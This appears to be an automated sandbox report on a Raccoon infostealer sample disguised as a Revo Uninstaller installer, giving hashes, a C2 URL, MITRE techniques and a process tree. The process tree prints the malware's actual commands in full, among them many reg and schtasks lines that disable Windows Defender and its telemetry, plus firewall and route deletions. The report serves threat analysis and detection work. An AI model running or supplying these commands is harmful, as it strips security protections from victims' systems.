raccoon | dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8

Analysis

max time kernel
88s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
09/03/2022, 02:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.exe
Size 22.5MB
Sample220309-csyrpsfbdl
SHA256 dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8
MD5 dabf069841992626901963173a7a2c5e
SHA1 5a0e907f29c9689d38a10f659762e0821f0a17f1
SHA512 dddf860c221ae63347557d9e09501df7c5152b0b6877b4c33b53777e9feb90880cc9987ebdb9f4aa98154904d8a609aec2944a80f4124403f4ea957b7e3bb449
MD5 SHA1 SHA512

Score

10^/10

raccoon 5eaa41b3101d5537f786a35da1878f0d1d760e53 evasion stealer themida trojan upx

Malware Config

Extracted

Family

raccoon

Version

1.7.1-hotfix

Botnet

5eaa41b3101d5537f786a35da1878f0d1d760e53

Attributes

url4cnc
https://telete.in/jbitchsucks

rc4.plain

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Raccoon Stealer Payload 3 IoCs

resource	yara_rule
behavioral2/memory/4628-200-0x0000000000400000-0x0000000000493000-memory.dmp	family_raccoon
behavioral2/memory/4628-202-0x0000000000400000-0x0000000000493000-memory.dmp	family_raccoon
behavioral2/memory/4628-203-0x0000000000400000-0x0000000000493000-memory.dmp	family_raccoon

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral2/files/0x000400000001e48e-197.dat	acprotect

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Executes dropped EXE 12 IoCs

pid	Process
4400	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp
4744	Revo Uninstaller Pro 4.2.3.exe
1784	7z.exe
4260	7z.exe
3388	7z.exe
4476	7z.exe
2596	7z.exe
2988	7z.exe
3424	7z.exe
3436	7z.exe
1104	rchost.exe
4628	rchost.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000400000001e48e-197.dat	upx

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rchost.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 16 IoCs

pid	Process
4400	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp
4744	Revo Uninstaller Pro 4.2.3.exe
4744	Revo Uninstaller Pro 4.2.3.exe
1784	7z.exe
4744	Revo Uninstaller Pro 4.2.3.exe
4260	7z.exe
3388	7z.exe
4476	7z.exe
2596	7z.exe
2988	7z.exe
3424	7z.exe
3436	7z.exe
4744	Revo Uninstaller Pro 4.2.3.exe
4744	Revo Uninstaller Pro 4.2.3.exe
4744	Revo Uninstaller Pro 4.2.3.exe
4744	Revo Uninstaller Pro 4.2.3.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000500000001e8cc-170.dat	themida
behavioral2/files/0x000500000001e8cc-172.dat	themida
behavioral2/memory/1104-185-0x0000000000910000-0x0000000000E4C000-memory.dmp	themida
behavioral2/files/0x000500000001e8cc-201.dat	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1104 set thread context of 4628	1104	rchost.exe	146

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Revo Uninstaller Pro 4.2.3.exe	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp
File created	C:\Program Files (x86)\is-GT47J.tmp	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4792	4628	WerFault.exe	146

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4832	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4400	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp
4400	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp
1104	rchost.exe

Suspicious use of AdjustPrivilegeToken 33 IoCs

description	pid	Process
Token: SeRestorePrivilege	1784	7z.exe
Token: 35	1784	7z.exe
Token: SeSecurityPrivilege	1784	7z.exe
Token: SeSecurityPrivilege	1784	7z.exe
Token: SeRestorePrivilege	4260	7z.exe
Token: 35	4260	7z.exe
Token: SeSecurityPrivilege	4260	7z.exe
Token: SeSecurityPrivilege	4260	7z.exe
Token: SeRestorePrivilege	3388	7z.exe
Token: 35	3388	7z.exe
Token: SeSecurityPrivilege	3388	7z.exe
Token: SeSecurityPrivilege	3388	7z.exe
Token: SeRestorePrivilege	4476	7z.exe
Token: 35	4476	7z.exe
Token: SeSecurityPrivilege	4476	7z.exe
Token: SeSecurityPrivilege	4476	7z.exe
Token: SeRestorePrivilege	2596	7z.exe
Token: 35	2596	7z.exe
Token: SeSecurityPrivilege	2596	7z.exe
Token: SeSecurityPrivilege	2596	7z.exe
Token: SeRestorePrivilege	2988	7z.exe
Token: 35	2988	7z.exe
Token: SeSecurityPrivilege	2988	7z.exe
Token: SeSecurityPrivilege	2988	7z.exe
Token: SeRestorePrivilege	3424	7z.exe
Token: 35	3424	7z.exe
Token: SeSecurityPrivilege	3424	7z.exe
Token: SeSecurityPrivilege	3424	7z.exe
Token: SeRestorePrivilege	3436	7z.exe
Token: 35	3436	7z.exe
Token: SeSecurityPrivilege	3436	7z.exe
Token: SeSecurityPrivilege	3436	7z.exe
Token: SeDebugPrivilege	1104	rchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4400	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2868 wrote to memory of 4400	2868	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.exe	80
PID 2868 wrote to memory of 4400	2868	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.exe	80
PID 2868 wrote to memory of 4400	2868	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.exe	80
PID 4400 wrote to memory of 4648	4400	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp	81
PID 4400 wrote to memory of 4648	4400	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp	81
PID 4400 wrote to memory of 4648	4400	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp	81
PID 4400 wrote to memory of 4744	4400	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp	82
PID 4400 wrote to memory of 4744	4400	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp	82
PID 4400 wrote to memory of 4744	4400	dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp	82
PID 4744 wrote to memory of 4628	4744	Revo Uninstaller Pro 4.2.3.exe	83
PID 4744 wrote to memory of 4628	4744	Revo Uninstaller Pro 4.2.3.exe	83
PID 4744 wrote to memory of 4628	4744	Revo Uninstaller Pro 4.2.3.exe	83
PID 4648 wrote to memory of 456	4648	WScript.exe	85
PID 4648 wrote to memory of 456	4648	WScript.exe	85
PID 4648 wrote to memory of 456	4648	WScript.exe	85
PID 4648 wrote to memory of 1552	4648	WScript.exe	87
PID 4648 wrote to memory of 1552	4648	WScript.exe	87
PID 4648 wrote to memory of 1552	4648	WScript.exe	87
PID 4648 wrote to memory of 2224	4648	WScript.exe	89
PID 4648 wrote to memory of 2224	4648	WScript.exe	89
PID 4648 wrote to memory of 2224	4648	WScript.exe	89
PID 2224 wrote to memory of 4832	2224	cmd.exe	91
PID 2224 wrote to memory of 4832	2224	cmd.exe	91
PID 2224 wrote to memory of 4832	2224	cmd.exe	91
PID 1552 wrote to memory of 1680	1552	cmd.exe	92
PID 1552 wrote to memory of 1680	1552	cmd.exe	92
PID 1552 wrote to memory of 1680	1552	cmd.exe	92
PID 4744 wrote to memory of 1500	4744	Revo Uninstaller Pro 4.2.3.exe	93
PID 4744 wrote to memory of 1500	4744	Revo Uninstaller Pro 4.2.3.exe	93
PID 4744 wrote to memory of 1500	4744	Revo Uninstaller Pro 4.2.3.exe	93
PID 1552 wrote to memory of 1784	1552	cmd.exe	95
PID 1552 wrote to memory of 1784	1552	cmd.exe	95
PID 1552 wrote to memory of 4260	1552	cmd.exe	96
PID 1552 wrote to memory of 4260	1552	cmd.exe	96
PID 1552 wrote to memory of 3388	1552	cmd.exe	97
PID 1552 wrote to memory of 3388	1552	cmd.exe	97
PID 1552 wrote to memory of 4476	1552	cmd.exe	98
PID 1552 wrote to memory of 4476	1552	cmd.exe	98
PID 1552 wrote to memory of 2596	1552	cmd.exe	99
PID 1552 wrote to memory of 2596	1552	cmd.exe	99
PID 1552 wrote to memory of 2988	1552	cmd.exe	100
PID 1552 wrote to memory of 2988	1552	cmd.exe	100
PID 1552 wrote to memory of 3424	1552	cmd.exe	101
PID 1552 wrote to memory of 3424	1552	cmd.exe	101
PID 1552 wrote to memory of 3436	1552	cmd.exe	102
PID 1552 wrote to memory of 3436	1552	cmd.exe	102
PID 1552 wrote to memory of 1104	1552	cmd.exe	103
PID 1552 wrote to memory of 1104	1552	cmd.exe	103
PID 1552 wrote to memory of 1104	1552	cmd.exe	103
PID 456 wrote to memory of 4108	456	cmd.exe	107
PID 456 wrote to memory of 4108	456	cmd.exe	107
PID 456 wrote to memory of 4108	456	cmd.exe	107
PID 456 wrote to memory of 540	456	cmd.exe	108
PID 456 wrote to memory of 540	456	cmd.exe	108
PID 456 wrote to memory of 540	456	cmd.exe	108
PID 456 wrote to memory of 3432	456	cmd.exe	109
PID 456 wrote to memory of 3432	456	cmd.exe	109
PID 456 wrote to memory of 3432	456	cmd.exe	109
PID 456 wrote to memory of 432	456	cmd.exe	111
PID 456 wrote to memory of 432	456	cmd.exe	111
PID 456 wrote to memory of 432	456	cmd.exe	111
PID 456 wrote to memory of 4940	456	cmd.exe	112
PID 456 wrote to memory of 4940	456	cmd.exe	112
PID 456 wrote to memory of 4940	456	cmd.exe	112

C:\Users\Admin\AppData\Local\Temp\dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.exe
"C:\Users\Admin\AppData\Local\Temp\dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2868
- C:\Users\Admin\AppData\Local\Temp\is-LSQSH.tmp\dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-LSQSH.tmp\dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.tmp" /SL5="$90062,22819490,788992,C:\Users\Admin\AppData\Local\Temp\dfcb79e9e1635f5144567723a0754726cd0f79d2650bbd205f2750f08e7c60f8.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4400
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\44FgviLd\MMF.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4648
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\44FgviLd\n0eexnwg.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:456
    - - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        5⤵
        
        PID:4108
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:540
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:3432
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:432
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:4940
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:4976
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:5080
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:1004
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:3928
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:1468
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:1372
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:1984
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:1388
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:2384
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:1228
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
        5⤵
        
        PID:1764
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
        5⤵
        
        PID:2112
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
        5⤵
        
        PID:4428
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        5⤵
        
        PID:4448
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        5⤵
        
        PID:2600
    - - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
        5⤵
        
        PID:1244
    - - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
        5⤵
        
        PID:700
    - - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
        5⤵
        
        PID:400
    - - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
        5⤵
        
        PID:4028
    - - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
        5⤵
        
        PID:4044
    - - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
        5⤵
        
        PID:1868
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:1708
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:2020
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:4440
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:4432
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        Modifies security service
        
        PID:5036
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        
        PID:480
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\44FgviLd\main.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1552
    - - C:\Windows\SysWOW64\mode.com
        
        mode 65,10
        5⤵
        
        PID:1680
    - - C:\ProgramData\44FgviLd\7z.exe
        
        7z.exe e file.zip -p___________24064pwd24000pwd10377___________ -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:1784
    - - C:\ProgramData\44FgviLd\7z.exe
        
        7z.exe e extracted/file_7.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:4260
    - - C:\ProgramData\44FgviLd\7z.exe
        
        7z.exe e extracted/file_6.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:3388
    - - C:\ProgramData\44FgviLd\7z.exe
        
        7z.exe e extracted/file_5.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:4476
    - - C:\ProgramData\44FgviLd\7z.exe
        
        7z.exe e extracted/file_4.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2596
    - - C:\ProgramData\44FgviLd\7z.exe
        
        7z.exe e extracted/file_3.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2988
    - - C:\ProgramData\44FgviLd\7z.exe
        
        7z.exe e extracted/file_2.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:3424
    - - C:\ProgramData\44FgviLd\7z.exe
        
        7z.exe e extracted/file_1.zip -oextracted
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:3436
    - - C:\ProgramData\44FgviLd\rchost.exe
        
        "rchost.exe"
        5⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1104
      - C:\ProgramData\44FgviLd\rchost.exe
        
        "rchost.exe"
        6⤵
        Executes dropped EXE
        
        PID:4628
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4628 -s 488
        7⤵
        Program crash
        
        PID:4792
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\44FgviLd\kgr2ln9m.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2224
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 60 /NOBREAK
        5⤵
        Delays execution with timeout.exe
        
        PID:4832
- - C:\Program Files (x86)\Revo Uninstaller Pro 4.2.3.exe
    "C:\Program Files (x86)\Revo Uninstaller Pro 4.2.3.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4744
  - - C:\Windows\SysWOW64\netsh.exe
      netsh.exe advfirewall firewall delete rule name="all" remoteip=95.141.193.133
      4⤵
      PID:4628
  - - C:\Windows\SysWOW64\route.exe
      route.exe delete 95.141.193.133
      4⤵
      PID:1500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4628 -ip 4628
1⤵
PID:4508

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1104-174-0x00000000764E0000-0x00000000765D0000-memory.dmp

Download

memory/1104-193-0x0000000009720000-0x00000000098E2000-memory.dmp

Download

memory/1104-178-0x00000000764E0000-0x00000000765D0000-memory.dmp

Download

memory/1104-179-0x00000000764E0000-0x00000000765D0000-memory.dmp

Download

memory/1104-180-0x00000000764E0000-0x00000000765D0000-memory.dmp

Download

memory/1104-185-0x0000000000910000-0x0000000000E4C000-memory.dmp

Download

memory/1104-186-0x0000000072270000-0x0000000072A20000-memory.dmp

Download

memory/1104-187-0x0000000005810000-0x00000000058AC000-memory.dmp

Download

memory/1104-176-0x00000000764E0000-0x00000000765D0000-memory.dmp

Download

memory/1104-189-0x0000000005A20000-0x0000000005A21000-memory.dmp

Download

memory/1104-190-0x00000000085E0000-0x0000000008B84000-memory.dmp

Download

memory/1104-191-0x0000000008110000-0x00000000081A2000-memory.dmp

Download

memory/1104-192-0x00000000082B0000-0x0000000008316000-memory.dmp

Download

memory/1104-177-0x00000000764E0000-0x00000000765D0000-memory.dmp

Download

memory/1104-194-0x0000000009E20000-0x000000000A34C000-memory.dmp

Download

memory/1104-195-0x0000000009670000-0x0000000009692000-memory.dmp

Download

memory/1104-175-0x00000000764E0000-0x00000000765D0000-memory.dmp

Download

memory/1104-173-0x00000000764E0000-0x00000000765D0000-memory.dmp

Download

memory/1104-204-0x00000000764E0000-0x00000000765D0000-memory.dmp

Download

memory/1104-199-0x0000000005910000-0x0000000005932000-memory.dmp

Download

memory/2868-130-0x0000000000400000-0x00000000004CE000-memory.dmp

Download

memory/2868-133-0x0000000000400000-0x00000000004CE000-memory.dmp

Download

memory/4400-134-0x0000000000CD0000-0x0000000000CD1000-memory.dmp

Download

memory/4628-200-0x0000000000400000-0x0000000000493000-memory.dmp

Download

memory/4628-202-0x0000000000400000-0x0000000000493000-memory.dmp

Download

memory/4628-203-0x0000000000400000-0x0000000000493000-memory.dmp

Download